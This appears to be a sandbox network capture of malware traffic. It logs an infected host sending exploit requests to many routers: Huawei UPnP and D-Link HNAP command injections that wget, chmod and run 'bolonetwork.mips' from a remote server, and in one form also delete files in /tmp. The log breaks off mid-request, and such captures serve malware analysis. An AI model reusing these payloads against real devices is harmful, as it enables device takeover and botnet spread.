Jul 20, 2024 23:01:02.440637112 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.14	44376	197.199.221.47	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.440637112 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.14	32874	197.5.87.246	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.440656900 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.14	33668	197.146.102.184	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.440694094 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.14	41490	197.249.254.134	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.441030979 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.14	58446	197.177.30.83	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.441201925 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.14	49006	13.83.123.25	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.444792032 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.14	36146	62.246.141.35	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:03.130517960 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.14	60310	82.158.248.76	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:03.144026041 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.14	35034	41.165.86.52	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:03.147001982 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.14	54268	139.158.68.80	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:03.151499987 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" 